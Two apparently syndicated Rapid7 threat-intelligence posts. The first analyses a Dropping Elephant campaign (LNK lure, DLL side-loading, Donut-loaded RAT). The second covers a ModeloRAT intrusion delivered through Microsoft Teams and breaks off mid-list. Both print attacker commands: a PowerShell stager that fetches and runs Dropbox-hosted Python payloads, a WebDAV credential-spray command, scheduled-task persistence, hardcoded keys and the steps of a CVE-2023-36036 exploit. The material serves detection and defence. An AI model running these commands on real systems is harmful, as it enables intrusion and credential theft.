Rapid7 is actively monitoring the infrastructure and tradecraft associated with this actor so we can provide comprehensive protection and intelligence to our customers.

Defenders should not rely on the IOCs alone. The most durable detection opportunities in this campaign are the behaviors: a shortcut file spawning PowerShell, files staged in C:\Users\Public\, a scheduled task named GoogleErrorReport executing every minute, and Fondue.exe loading APPWIZ.cpl from C:\Users\Public\ rather than a legitimate Windows directory.

Because the final RAT is loaded directly into memory through Donut, defenders should also review whether their endpoint tooling can detect memory-resident payloads and security-control patching within a process, including AMSI, WLDP, and ETW tampering.

Overview

During a proactive threat hunt, Rapid7 identified a malicious Windows shortcut that matched activity previously associated with Dropping Elephant. The shortcut used a China energy-sector contract lure and led to a payload chain that shared the family’s delivery patterns but ended in a substantially reworked RAT.

The decoy document was a contract completion and acceptance notice for the GRES-3 project and referenced delivery of industrial seawater circulation pump systems. Because the final payload differed significantly from known samples, Rapid7 analyzed the chain from the initial shortcut through the final in-memory RAT.

Luckily, during the analysis, the staging server was active which allowed us to download all attack artifacts. The recovered files use Fondue.exe, a legitimate Microsoft binary, to side-load a malicious loader. The loader decrypts an AES-wrapped payload stored on disk. The decrypted payload contains a Donut shellcode loader that embeds the final RAT and uses Chaskey block cipher as part of its payload protection scheme. Donut then decrypts the final 32-bit native RAT, maps it, and executes it in memory.

We found that the final RAT differs significantly from older Dropping Elephant RAT samples. The malware uses control-flow flattening, runtime API reconstruction, and static CRT linking to complicate analysis. It also hardens C2 communications through HTTPS transport, Salsa20-protected C2 fields, and additional environment checks. Despite these changes, code-level comparison still identifies shared lineage with a Dropping Elephant RAT reference sample through command-handler structure, screenshot capture logic, WININET request flow, beaconing patterns, and repeated buffer constants.

Technical analysis and observed attacker behavior

delivery-chain-LNK-to-in-memory-RAT.jpg
Figure 1: Full delivery chain from LNK to in-memory RAT

Stage 1: GRES3001.lnk

The attack starts when a user executes GRES3001.lnk, a malicious Windows shortcut disguised as a PDF. When opened, the shortcut spawns an obfuscated PowerShell downloader using conhost.exe. The PowerShell uses basic string-splitting obfuscation (e.g., iw”r, g”c”i, r”e”n, c”p”i, and &(g”cm sch*)) to evade keyword detection.

The downloader connects to the staging server chinagreenenergy[.]org and retrieves the decoy GRES3001.pdf along with additional malware files. It immediately opens the China energy-sector lure document to distract the victim while staging the remaining payloads in the background.

GRES3001.lnk-structure-conhost-exe-proxy-Edge-icon-spoof-embedded-PowerShell-downloader.png
Figure 2: GRES3001.lnk structure showing conhost.exe proxy, Edge icon spoof, and embedded PowerShell downloader

GRES-3-contract-completion-decoy-document.png
Figure 3: GRES-3 contract completion decoy document used as victim lure

Stage 2: Payload staging

Several payload files are downloaded with junk extensions such as .ezxzez, .cypyly, and .dzlzlz, then renamed by stripping filler characters to reconstruct Fondue.exe, APPWIZ.cpl, msvcp140.dll, and vcruntime140.dll in C:\Users\Public\. The encrypted payload editor.dat is written to the C:\Windows\Tasks\ folder.

File

Path

Description

SHA

GRES3001.pdf

C:\Users\Public\

Decoy document

56d656d684077e7b3231393f5464447cdc8eea81b6415c5f010bc52f0c8cb317

Fondue.exe

C:\Users\Public\

Legitimate Microsoft side-loading host

b58351ead08db413ca499cfeb1b1091ed8bfd68f4089605e452fa01ed46f42b1

APPWIZ.cpl

C:\Users\Public\

Malicious loader DLL

914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6

editor.dat

C:\Windows\Tasks\

Base64 text wrapping AES-256-CBC ciphertext

a5e448af73b0ff6b6fcfe6ef7808120e1fd7e5c4c9b4edd68e1c980e5ea3406b

Table 1: Files retrieved from the stager server 

After staging the files, the script creates a scheduled task named GoogleErrorReport, configured to run Fondue.exe every minute. It then deletes the original shortcut, leaving the scheduled task to trigger the next execution stage through the Fondue.exe side-loading chain.

&(gcm sch*) /create /Sc minute /tn GoogleErrorReport /tr "$b\Public\Fondue"

Figure 4: Scheduled task creation command using gcm sch* obfuscation

Stage 3: DLL side-loading

The Fondue.exe loads the malicious APPWIZ.cpl staged alongside it in the C:\Users\Public\ directory. The side-loaded APPWIZ.cpl exports RunFODW, the function expected by Fondue.exe. RunFODW serves as the loader entry point and continues the payload chain by reading and decrypting editor.dat.

Stage 4: Encrypted payload and Donut loader

APPWIZ.cpl sha256: 914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6, original name for the metadata is bluetooth_callback.dll.

APPWIZ-cpl-PE-metadata-original-filename-bluetooth_callback-dll.png
Figure 5: APPWIZ.cpl PE metadata showing original filename bluetooth_callback.dll

It reads editor.dat, Base64-decodes it, and decrypts the result with AES-256-CBC via Windows CNG (bcrypt.dll). The 32-byte key and 16-byte IV are assembled on the stack from immediate mov operands:

KEY (32B): 1f1e1d1c1b1a101108090a0b0c0d0e0f00020405040102031011121415181611

IV (16B): 000803030902060708090a0b0c0d0e0f

The loader maps the shellcode into an RWX memory region using VirtualAlloc followed by memcpy call. Then it transfers execution indirectly by passing the shellcode address as the callback argument to EnumUILanguagesW.

EnumUILanguagesW-callback-proxy-Donut-shellcode.png
Figure 6: EnumUILanguagesW callback proxy transferring execution to Donut shellcode

The decrypted output is a Donut shellcode blob, not the final RAT. Donut uses Chaskey-CTR to protect the embedded PE, maps it in memory, resolves imports, applies relocations, and transfers execution without writing the RAT to disk. Before running the payload, Donut patches AMSI, WLDP, and ETW inside the current process, reducing in-memory scanning, code-integrity checks, and event telemetry for the unpacked RAT.

The final payload is a native 32-bit C++ implant SHA 7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54. It runs entirely in memory after the Donut stage maps it. At startup, the RAT first calls FreeConsole() to detach from any console so nothing shows up on screen. After that, it resolves its required APIs dynamically through a LoadLibrary / GetProcAddress loop. After API resolution, the RAT stages its crypto and builds C2 hostname, gcl-power[.]org. The cipher is Salsa20, and the key material is hardcoded. It is a 32-byte key tn9905083tfbsxqrxs7qe4ryw1nif8h1 with 8-byte nonce lPvymwIk. Next, it calls sub_40F4A0 subroutine which walks the running process list and checks each entry against a built-in list of debuggers, sandbox tools, and VM artifacts. During debugging, we observed the process scan, however, the implant continued normally, without killing security processes.

Both the process scan and public-IP geolocation check executed during dynamic testing without triggering self-termination. The RAT still reported the full process list in the mkeoldkf beacon field, exposing debuggers, sandbox tools, and other analysis artifacts to the operator.

After process scan, the malware creates a mutex “kshdkfhskdfjkhsdkfhsjkdfhkj” to prevent reinfection and reduce duplicate-process noise. 

Finally, the RAT fingerprints the host, derives its bot ID, and enters sub_415750(), where it begins polling for commands from the C2 server. Unfortunately, during the analysis the C2 was already down.

Host fingerprinting

Before beaconing, the RAT collects seven fields describing the victim host and packs them into the registration POST body:

Field

Meaning

umnome

Username

pmjodf

Computer name

idkdfjej

Bot ID / cid

vrjdmej

OS version

ndlpeip

Public IP and country

cokenme

Country

mkeoldkf

Full running-process list

Table 2: RAT registration beacon fields and their meaning

During fingerprinting, the RAT makes a one-time call to api.ipify.org to learn the host’s own public IP, then passes that IP to ip2c.org to resolve the country. The user-agent used in the recon phase is Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 . The bot ID is not hardcoded. It is derived at runtime from the host and submitted in the idkdfjej field. Each field is independently wrapped as base64url(Salsa20(base64url(value))).

Command and control

The RAT periodically sends HTTPS POST requests to the C2 server on port 443 (INTERNET_FLAG_SECURE). It uses a 23-character token, RRn926EmIRfm9IlJyP1yVO2 for C2 traffic to gcl-power[.]org. Each beacon loop iteration follows the same pattern:

  • POSTs dine=<cid> to the command-poll endpoint /prjozifvkpkfhkr/gedhagammgjvvva/;

  • blocks on InternetReadFile while waiting for a task;

  • treats MMMMM==YYYYY as the idle sentinel, sleeps for approximately three seconds, and re-polls;

  • C2 tasks are wrapped in  < > ( ) * delimiters. The RAT strips these characters and decodes the payload back to the original command using base64url(Salsa20(base64url(value))) again.

RAT-beacon-loop.png
Figure 7: RAT beacon loop showing connectivity check, command poll, and idle sentinel handling

Each cycle, the RAT first confirms the host is actually online by quietly pinging google.com, yahoo.com, and cloudflare.com. Only if that succeeds does it beacon to its C2. When all’s well it checks in every 10 seconds and if a check-in fails it retries every 2 seconds, until it recovers.

Operator capabilities

During our analysis we confirmed 5 command handlers.

Token

Capability

Behavior

fl

Directory listing

Recursively enumerates files

dw

Download and execute

Fetches a file, writes it to disk, and runs it

sc

Screenshot

Captures the virtual screen with BitBlt, encodes it with WIC, and exfiltrates it to a dedicated endpoint. This behavior is command-gated, not periodic.

cmx

Shell execution

Runs cmd.exe /c chcp 65001 | <cmd> and captures stdout

uf

File upload

Exfiltrates a specified file

Table 3: Confirmed RAT command handlers with dispatch tokens and behavior

The RAT identifies tasks by looking for command tokens in the C2 response. Each token is followed by the delimiter ==zz==oo==pp==. For example, fl==zz==oo==pp== tells the RAT to run the file-listing handler.

Anti-analysis 

The RAT uses several anti-analysis techniques, including control-flow flattening, opaque predicates, dynamic API resolution, stack-built strings, static CRT linking, process blacklist checks, CPUID hypervisor checks, VM artifact checks, and public-IP geolocation checks.

Control-flow-flattening-dispatcher-skeleton.png
Figure 8: Control-flow flattening dispatcher skeleton in decompiler output

During dynamic testing, the process scan and public-IP geolocation checks are executed without triggering self-termination. The RAT built its registration beacon with the full process list in the mkeoldkf field and attempted to send it to gcl-power[.]org. The connection returned HTTP 522, so the beacon did not reach the origin server during testing. Based on this run, we can confirm the environment checks and reporting behavior. Unfortunately, we cannot determine whether the operator would have killed the session, continued tasking, or taken another action after receiving the process list. The full list of processes and security tools cancould be found in the IOCs section below.

Attribution 

To test whether the RAT delivered by Donut was related to Dropping Elephant, we compared it with a known family sample documented by Arctic Wolf in July 2025: SHA-256 8b6acc087e403b913254dd7d99f09136dc54fa45cf3029a8566151120d34d1c2. That report provides the family context for the reference sample.

BinDiff produced low signal, with 8.6% overall similarity. We do not treat this as evidence against shared lineage. The new sample uses control-flow flattening, which changes the control-flow graph structure that BinDiff depends on. Therefore we also compared the samples with Diaphora, using pseudocode and AST-level features less affected by control-flow flattening.

Diaphora identified four function-level overlaps that pointed to a shared code usage.

Functionality

Shared traits

Command execution

Similar allocation, encoding, formatting, and POST structure; repeated use of the 0x2710 buffer constant

Screenshot handling

Same GDI screenshot pattern, including GetSystemMetrics values 78 and 79 and BitBlt with 0xCC0020; the newer sample uses WIC instead of GDI+ for encoding

C2 connection

Same WININET request flow: open, connect, open request, send request, read response; the newer sample moves from HTTP to HTTPS with INTERNET_FLAG_SECURE

Shell execution

Shared hidden-window execution and cmd.exe /c chcp 65001 output-capture pattern

Table 4: Code-level overlaps between editor.extracted.exe and old_rat.exe identified by Diaphora

The LNK lure and delivery chain also resemble prior Dropping Elephant reporting, including PowerShell staging, legitimate binary abuse, scheduled task persistence, extension manipulation during downloads, and DLL side-loading. These overlaps supported the initial hypothesis, but the payload comparison provides the primary evidence for the lineage assessment.

Mitigation guidance

MITRE ATT&CK techniques

Tactic

Technique

Observable

Initial Access

Phishing: Spearphishing Attachment [T1566.001]

Malicious GRES3001.lnk used as the initial lure artifact; no email artifact recovered

Execution

User Execution: Malicious File [T1204.002]

User opens GRES3001.lnk

Execution

Command and Scripting Interpreter: PowerShell [T1059.001]

LNK launches conhost.exe, which starts the PowerShell downloader

Execution

Command and Scripting Interpreter: Windows Command Shell [T1059.003]

RAT cmx handler runs cmd.exe /c chcp 65001 | <cmd>

Persistence

Scheduled Task/Job: Scheduled Task [T1053.005]

GoogleErrorReport runs C:\Users\Public\Fondue.exe every minute

Defense Evasion

Hijack Execution Flow: DLL Side-Loading [T1574.002]

Fondue.exe loads the malicious APPWIZ.cpl staged alongside it

Defense Evasion

Masquerading: Match Legitimate Name or Location [T1036.005]

Edge icon spoofing, GoogleErrorReport task name, staging in C:\Users\Public\

Defense Evasion

Obfuscated Files or Information [T1027]

Junk file extensions, string splitting, encrypted payload container, encoded C2 fields

Defense Evasion

Reflective Code Loading [T1620]

Donut maps the final PE in memory without writing it to disk

Defense Evasion

Impair Defenses: Disable or Modify Tools [T1562.001]

Donut patches in-process AMSI and WLDP functions before payload execution

Defense Evasion

Virtualization/Sandbox Evasion: System Checks [T1497.001]

CPUID, VM artifact, process blacklist, and public-IP geolocation checks

Discovery

Process Discovery [T1057]

RAT enumerates running processes and sends the process list in mkeoldkf

Discovery

System Information Discovery [T1082]

RAT collects username, computer name, OS version, and host profile fields

Discovery

System Network Configuration Discovery [T1016]

RAT obtains public IP through api.ipify.org

Discovery

System Location Discovery [T1614]

RAT queries ip2c.org for country/geolocation

Discovery

File and Directory Discovery [T1083]

fl handler enumerates files

Collection

Screen Capture [T1113]

sc handler captures the virtual screen with BitBlt and encodes it with WIC

Collection

Data from Local System [T1005]

uf handler exfiltrates files; fl handler lists local files

Command and Control

Application Layer Protocol: Web Protocols [T1071.001]

HTTPS C2 traffic to gcl-power[.]org

Command and Control

Data Encoding: Standard Encoding [T1132.001]

C2 fields use Base64 wrapping

Command and Control

Encrypted Channel: Symmetric Cryptography [T1573.001]

C2 field content is protected with Salsa20

Command and Control

Ingress Tool Transfer [T1105]

Initial staging downloads and dw download-and-execute capability

Exfiltration

Exfiltration Over C2 Channel [T1041]

Host fingerprinting, screenshots, command output, and files leave over the C2 channel

Indicators of compromise (IOCs)

File hashes

SHA-256

File

Comment

a8ecbd9c049044ca4990a0e5960d19ce782a3b42d7763e9693d7c91ead24a0b7

GRES3001.lnk

Initial-access shortcut; launches conhost.exe → PowerShell downloader

56d656d684077e7b3231393f5464447cdc8eea81b6415c5f010bc52f0c8cb317

GRES3001.pdf

Decoy lure document

b58351ead08db413ca499cfeb1b1091ed8bfd68f4089605e452fa01ed46f42b1

Fondue.exe

Legitimate Microsoft side-loading host

914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6

APPWIZ.cpl

Malicious side-loaded loader; exports RunFODW

718812adb0d669eea9606432202371e358c7de6cdeafeddad222c36ae0d3f263

msvcp140.dll

Bundled VC++ runtime; verify against known-good

09d1e604e8cdd06176fcc3d3698861be20638a4391f9f2d9e23f868c1576ca94

vcruntime140.dll

Bundled VC++ runtime; verify against known-good

a5e448af73b0ff6b6fcfe6ef7808120e1fd7e5c4c9b4edd68e1c980e5ea3406b

editor.dat

Base64-wrapped AES-256-CBC encrypted payload file

ecab0e747bff16a1163bbd9bb494e68dd4d7ca655ac7279bd4dd73221f7df57c

editor.decrypted.bin

AES-decrypted Donut loader blob

7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54

editor.extracted.exe

Final RAT, carved from memory

Network indicators

Indicator

Type

Notes

chinagreenenergy.org

Domain

Staging and delivery server

https://chinagreenenergy.org/doc/35566/SXxls

URL

Decoy PDF download

https://chinagreenenergy.org/doc/list/load-list/dfe87bbc-53e0-489f-a9e6-ab8f4be47cb9

URL

Fondue.exe download

https://chinagreenenergy.org/doc/list/load-list/8daaa3e4-c85e-40c1-a2a2-94679e94c417

URL

APPWIZ.cpl download

https://chinagreenenergy.org/doc/list/load-list/ecdc6b92-62b5-4acd-99f2-af09902938e1

URL

msvcp140.dll download

https://chinagreenenergy.org/doc/list/load-list/e7477b17-45f0-420b-b2b1-811d4c1556ea

URL

vcruntime140.dll download

https://chinagreenenergy.org/doc/list/load-list/000bd4a8-814d-414c-8be8-f0c77a9c7e1e

URL

editor.dat download

gcl-power.org

Domain

Operational C2 over HTTPS/443

/prjozifvkpkfhkr/

URI path

Registration / check-in

/prjozifvkpkfhkr/gedhagammgjvvva/

URI path

Command polling endpoint

/prjozifvkpkfhkr/spxbjdhxtapivrk/

URI path

Screenshot exfiltration endpoint

api.ipify.org

Domain

Public-IP lookup used during host fingerprinting

ip2c.org

Domain

Geolocation lookup used during host fingerprinting

Conclusion

The campaign analyzed in this blog demonstrates continued Dropping Elephant operational investment and tooling development. The actor reused recognizable delivery patterns, including a China-themed lure, PowerShell-based staging, scheduled task persistence, shortcut-based execution, and DLL side-loading through a trusted Microsoft binary. At the same time, it evolved the final payload into a more evasive, memory-resident implant.

The final RAT represents a notable evolution from previously documented Dropping Elephant tooling. It executes entirely in memory, patches AMSI, WLDP, and ETW before running, and incorporates additional obfuscation and anti-analysis techniques that make detection and analysis more difficult.

For defenders, the practical takeaway is that Dropping Elephant’s tooling may be changing faster than its operational approach. Hashes, filenames, and infrastructure are likely to change across campaigns, but the path into execution still creates opportunities to detect and disrupt the activity before the final implant runs.

When IT Support Calls: Dissecting a ModeloRAT Campaign from Teams to Domain Compromise

Post Syndicated from Anna Širokova original https://www.rapid7.com/blog/post/tr-it-support-dissecting-modelorat-campaign-microsoft-teams-compromise

Overview

Attackers do not need to break into the front door when they can convince employees to open it for them through the tools they already trust.

In April 2026, Rapid7 investigated an enterprise intrusion that began with a Microsoft Teams message from a fake “IT Support” account and quickly escalated into a full compromise chain involving malware deployment, privilege escalation, credential theft, lateral movement, and exfiltration. The incident illustrates a critical risk for modern enterprises: Collaboration platforms have become part of the attack surface, and when combined with identity abuse and Living-off-the-Land techniques, they can provide attackers with a low-friction path into the environment.

Therefore, this attack was particularly concerning due to the way the intrusion shifted from endpoint compromise to broader identity-driven risk. And while it was not surprising that the attacker used a novel technique, what was concerning was how the attacker was able to chain together familiar enterprise weaknesses into a fast-moving and operationally effective intrusion.

By abusing Teams external access, the threat actor delivered a Dropbox-hosted Python payload that established command-and-control, deployed multiple backdoors, and began mapping the internal environment. The attacker then escalated privileges to SYSTEM using CVE-2023-36036 before deploying a fake Windows lock screen designed to harvest the user’s domain password.

Once valid credentials were obtained, the intrusion shifted from endpoint compromise to broader identity-driven risk. The attacker moved laterally to a second host, used legitimate tooling such as DumpIt to collect system memory, which was likely exfiltrated via an anonymous file-sharing service. This progression underscores a key reality for defenders: Once collaboration, identity, and endpoint controls are bypassed or weakened, attackers can rapidly convert initial access into meaningful enterprise exposure.

Rapid7’s technical analysis linked the Python malware to ModeloRAT, a framework previously documented by multiple security vendors in browser extension campaigns and associated with the KongTuke group. More broadly, this intrusion demonstrates how trusted communication channels, Living-off-the-Land techniques, and credential-focused tradecraft continue to challenge traditional security controls. The takeaways here are clear:

For CISOs: Collaboration tools are part of your attack surface. Attackers used Teams to reach users directly. Security, identity protection, endpoint visibility, and rapid detection engineering must be treated as connected parts of the same defense strategy, not separate control domains.

For defenders: Old vulnerabilities and trusted tools still work. The attack combined a patched vulnerability (CVE-2023-36036) with widely trusted tools like Python, PowerShell, and Dropbox. None of these are unusual in enterprise environments, which is precisely what allowed the attacker to blend in while moving quickly. It’s an obvious restatement, but external access should always be controlled and monitored. 

The challenge isn’t identifying one suspicious event; it’s recognizing when normal activity starts to form a pattern, and acting before that pattern turns into widespread exposure.

Rapid7 coverage

Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.

ModeloRAT-attack-chain-teams-payload.png
Figure 1: Attack chain from Teams phishing to payload delivery, ModeloRAT execution, privilege escalation, and lateral movement with exfiltration.

A door that was never closed

The intrusion started with abuse of Microsoft Teams external access. This feature, enabled by default in some environments, allows users in one tenant to initiate direct chats with users in another. In our incident, the attacker used a newly created tenant UCICasociacion.onmicrosoft[.]com to impersonate “IT Support” and messaged a targeted employee.

This approach mirrors tradecraft seen in Octo Tempest-style campaigns. Octo Tempest (alias Scattered Spider, UNC3944, 0ktapus) is a financially motivated cybercriminal group active since 2022, known for aggressive social engineering tactics including helpdesk impersonation, SIM swapping, and MFA manipulation. 

Shortly after the interaction, a hidden PowerShell command executed on the victim’s machine, staging the initial payload.

Stager: Bring your own Python

Within minutes of the Teams interaction, a PowerShell stager executed on the endpoint and reached out to Dropbox to retrieve a ZIP archive (Winp.zip) into the user’s AppData directory.

The archive was immediately extracted and deleted, likely to reduce on-disk artifacts and avoid potentially raising suspicion.

The payload contained a portable WinPython environment, which the attacker used to launch the next stage:

  • collector.py (reconnaissance)

  • Pmanager.py (primary C2 agent, Modelo RAT)

Execution was handled via pythonw.exe, which allowed the script to run in the background without showing the terminal window.

iwr -Uri "https://www.dropbox[.]com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:appdata\Winp.zip"; 
Expand-Archive -Path "$env:appdata\Winp.zip" -DestinationPath "$env:appdata"; 
rm "$env:appdata\Winp.zip"; 
Start-Sleep -Seconds 5; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\collector.py; 
Start-Sleep -Seconds 30; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\Pmanager.py; 
Start-Sleep -Seconds 5

Figure 2: PowerShell stager retrieving and executing portable Python payload.

Reconnaissance: Environment discovery via native tools

The first Python module executed by the attacker was collector.py, a post-exploitation information gatherer designed to silently profile the host and save the results to %TEMP%\configA.json. Additionally, before any of the recon the collector.py computes a host fingerprint. This 8-character fingerprint is what the operator’s C2 server uses to identify this victim.

The script gathered the following information:

System identity and patch level

systeminfo, domain queries

Privilege context

whoami /all and .NET Security.Principal checks (USER / ADMIN / SYSTEM)

Processes and services

Get-Process, Get-Service

Network visibility

getmac.exe, arp -a, Get-NetTCPConnection, ping.exe

Domain visibility

ran adsisearcher to enumerate accessible systems

AV-Solutions

Securityhealthhost.exe, which is commonly used to verify if anti-virus solutions are running on the system

Table 1: Host Reconnaissance and Environment Enumeration.

All of these commands were executed through hidden PowerShell sessions using the CREATE_NO_WINDOW flag, allowing the script to run in the background without spawning visible console windows.

Part of reconnaissance was also a collection of installed hotfixes and system version data. The attacker was able to assess whether the host was vulnerable to a version-specific local privilege escalation exploit later used in the intrusion.

Additionally, collector.py and all other python modules dropped by malware were obfuscated. However, it was not difficult to recover code structure close to the original. 

Obfuscated-collector-py.png
Figure 3: Obfuscated collector.py

Stage 2: Ties to ModeloRAT

Shortly after reconnaissance is completed, the attack shifts into its second stage as with the execution of Pmanager.py.

pythonw.exe ...\python\Pmanager.py start

Figure 4: Execution of Pmanager.py initiating second-stage C2 activity.

As soon as it is started, the script creates a long-running HTTP beacon over port 80 that rotates across 5 hardcoded C2 servers: 46.225.231[.]170, 144.172.99[.]68, 64.94.85[.]158, 140.82.6[.]45, and 45.76.241[.]51.

The script can load DLLs via rundll32.exe, launch additional Python scripts, run PowerShell commands, or install .msi packages. It also handles persistence and can update or remove itself. The reconnaissance output saved in configA.json is sent back to the C2, giving the operator a full picture of the host before issuing further tasks.

This behavior closely matches the ModeloRAT framework documented by Huntress (KongTuke / CrashFix campaigns). Its communication format, persistence mechanisms, and delivery model all match what has been previously observed, with no significant deviations.

The key difference is in initial access: Where earlier campaigns relied on malicious browser extensions, this intrusion used Microsoft Teams social engineering to achieve execution.

The on-demand shells and the WebDAV 

Pmanager quickly deployed its first additional module USOShared1297.py onto the infected host. This module is a TCP reverse shell that opens 2 outbound sockets to one of 3 hardcoded C2 IPs (144.172.88[.]18, 64.190.113[.]187, 45.59.122[.]231. The port 50508 is reserved for the interactive shell that the attacker can use and port 60503 is for file transfer. The shell itself is a cmd.exe spawned using CreatePipe and CreateProcessA with the CREATE_NO_WINDOW and STARTF_USESTDHANDLES flags.

This access was then used to test credential reuse across the environment through repeated WebDAV authentication attempts against internal systems.

rundll32.exe davclnt.dll,DavSetCookie <HOST> http://<TARGET>/C%24/Windows

Figure 5: WebDAV authentication spray using davclnt.dll (DavSetCookie)

The DavSetCookie API forces Windows to initiate a WebDAV authentication attempt using the current user’s credentials. In effect, it allows the attacker to validate where those credentials are accepted without deploying additional tools. Within minutes, successful logon events started to appear across more than 100 internal systems.

The HTTP shell – internal.py

Not long after, the attacker added a second way into the system by deploying  back-to-back Microsoft5237.py dropped to %TEMP% and internal.py dropped to WPy64-31401\python. Later analysis showed they were actually the same file, just renamed (both had the same SHA-256 hash: 930263c0843744e269b615fb2ec79f83d7bd8b2cbf75e31fd5ea6c1aaa4e48fd). The attacker was reusing the same backdoor under different names.

Each script launched a hidden PowerShell session. First it checked whether the system was domain-joined, and then set up a persistent remote shell.

powershell -NonInteractive -NoProfile -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystem).Domain"
powershell -NoProfile -NoExit -Command -

Figure 6: The -NoExit flag keeps PowerShell running in the background, while the trailing “-” allows it to accept commands remotely.

From there, internal.py turned that session into a full HTTP-based control channel. It registered with the C2 /handshake, continuously polled for instructions via /command/<id>, executed them inside the PowerShell session, and returned output via /output/<id>. The same channel handles file upload, download, and also screenshot capture. All of this communication ran over port 80 to 87.120.186[.]229 and 149.248.78[.]202, blending in with normal web traffic.

Stage 3: Privilege escalation via CVE-2023-36036

After gaining remote access, the attacker executed ssss.dll to escalate privileges.

rundll32.exe ssss.dll startproc Mw2[REDACTED]

Figure 7: Execution of ssss.dll via rundll32.

The argument that was passed to startproc is a decryption key. The startproc function uses Mw2[REDACTED] to decrypt the payload.

The ssss.dll (SHA-256: b00c1cbcfb98d2618a5c2ccb311da94f3c57709a397be6c8de29839f4e943976) is a reflective loader. The loader is using that key to decrypt an embedded payload in memory and execute it. The decrypted payload is testdllLPE.dll (SHA-256: d84245f3a374dd5eff8ecfdfad39077d76331fde799e5306430d0fc788db7f1d), a custom privilege escalation exploit targeting CVE-2023-36036. This vulnerability is a heap-based buffer overflow in cldflt.sys, the Windows Cloud Files Mini Filter Driver.

Within seconds, the helper thread launched internal.py under a SYSTEM token, confirming that the exploit successfully modified the process privileges.

What is CVE-2023-36036?

The Cloud Files driver is what makes OneDrive’s “Files On-Demand” work, allowing placeholder files to appear locally while being backed by cloud storage. Sync providers (OneDrive, Dropbox, Box) register themselves with the driver using the Cloud Files API, and the driver brokers I/O between the filesystem and the provider.

CVE-2023-36036 is a heap buffer overflow in how cldflt.sys processes messages from these providers. By sending crafted data through the driver’s communication interface, an attacker can overflow an internal buffer and corrupt adjacent memory. With controlled heap layout, this corruption becomes a kernel write primitive.

Reused technique, adapted exploit

While analyzing the CVE-2023-36036 exploit, it became clear that the threat actor did not build their methodology from scratch. STAR Labs documented a similar chain in their analysis of CVE-2021-31969 also in cldflt.sys. Their work outlined the core steps: Register a fake sync provider, shape the kernel heap, trigger the overflow, and overwrite a token.

The exploit we analyzed follows the same general playbook, but adapts it for the CVE-2023-36036 vulnerability.

The threat actor reused three core steps from the STAR Labs research to stabilize their exploit:

Sync provider registration. The exploit registers itself as “PLURIBUS” with GUID {904EE598-0511-4664-82A8-22C4A7501044}, pointing to %TEMP%\cldflt. This causes the driver to treat the directory as a valid Cloud Files root and route file operations through the vulnerable path.

WNF heap shaping. The exploit uses 4 undocumented ntdll syscalls:  NtCreateWnfStateName, NtUpdateWnfStateData, NtDeleteWnfStateData, and NtQueryWnfStateData to allocate a large number of small objects in the kernel pool. This shapes memory so the overflow lands on controlled data instead of random structures. Without this step, the buffer overflow in cldflt.sys would write to unpredictable addresses and can crash the system

Data-Only Token Overwrite. Instead of using process injection or shellcode, the exploit uses its own token in kernel memory by flipping a privilege bit to gain SYSTEM access. What sets testdllLPE.dll apart is what the operator added on top of that scaffolding.

Kernel discovery method. It probes the kernel address range in 1 MB steps, measuring minute differences in memory access latency to identify ntoskrnl base. This avoids calling privileged APIs.

Decoupled execution model. Instead of elevating the thread running the exploit, this binary spawns a helper thread that continuously polls PrivilegeCheck(SeDebugPrivilege). This allows the main exploit thread to crash, hang, or retry the kernel write multiple times without losing the payload. The moment the kernel finally flips the privilege bit, the helper thread detects the change and immediately launches internal.py as SYSTEM.

Trigger path. The vulnerability is reached through the driver’s message handling path. When processing a FilterSendMessage request, cldflt.sys copies attacker-controlled data into a fixed-size buffer without proper bounds checking, overflowing into adjacent memory, specifically a function pointer.

To trigger execution, the exploit creates a placeholder file within the fake sync root and writes to it.

CVE-2023-36036-startproc-trigger-sequence.png
Figure 8: CVE-2023-36036 trigger sequence in startproc. A crafted 512-byte message is delivered via FilterSendMessage, a 1024-iteration WNF spray seats the fake kernel object, and the closing WriteFile fires the corrupted callback.

When the driver intercepts the write to Link.log, it invokes the corrupted function pointer. This results in a controlled kernel write, which flips the SeDebugPrivilege bit in the helper thread’s token.

After the WriteFile call completes, the main exploit thread exits. The helper thread, which was polling PrivilegeCheck(SeDebugPrivilege) once per second since the exploit started, detects the change and breaks out of its loop. At this point, the privilege escalation has succeeded. The helper thread immediately launches the payload. 

Helper-thread-execution-after-privilege-escalation.png
Figure 9: Helper thread execution after privilege escalation succeeds.

Stage 4: Post-exploitation 

The newly spawned internal.py process was running under a SYSTEM token. The attacker confirmed this with whoami and immediately created a scheduled task (TempLogA) to execute internal.py daily at 13:00 with SYSTEM privileges.

schtasks /create /tn TempLogA 
  /tr "C:\Users\USER\AppData\Roaming\WPy64-31401\python\pythonw.exe internal.py" 
/sc daily /st 13:00 /ru SYSTEM /rl HIGHEST /f

Figure 10: Creation of SYSTEM-level scheduled task (TempLogA) for persistence.

With persistence in place, the attacker moved on to Active Directory enumeration.

$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetDirectoryEntry().distinguishedName
$s = New-Object DirectoryServices.DirectorySearcher([ADSI]"LDAP://$d")
$s.PageSize = 1000
$s.Filter = "(objectClass=user)"
$s.FindAll().Count

Figure 11: Powershell command returns the total number of domain user accounts.

Shortly after, the compromised account established a remote PowerShell session (WinRM) to a second host. Once connected, additional enumeration commands were executed through the remote PowerShell process (wsmprovhost.exe), extending visibility beyond the initial system.

Expanding the foothold

Within hours of privilege escalation and enumeration, 3 additional Python modules were deployed:

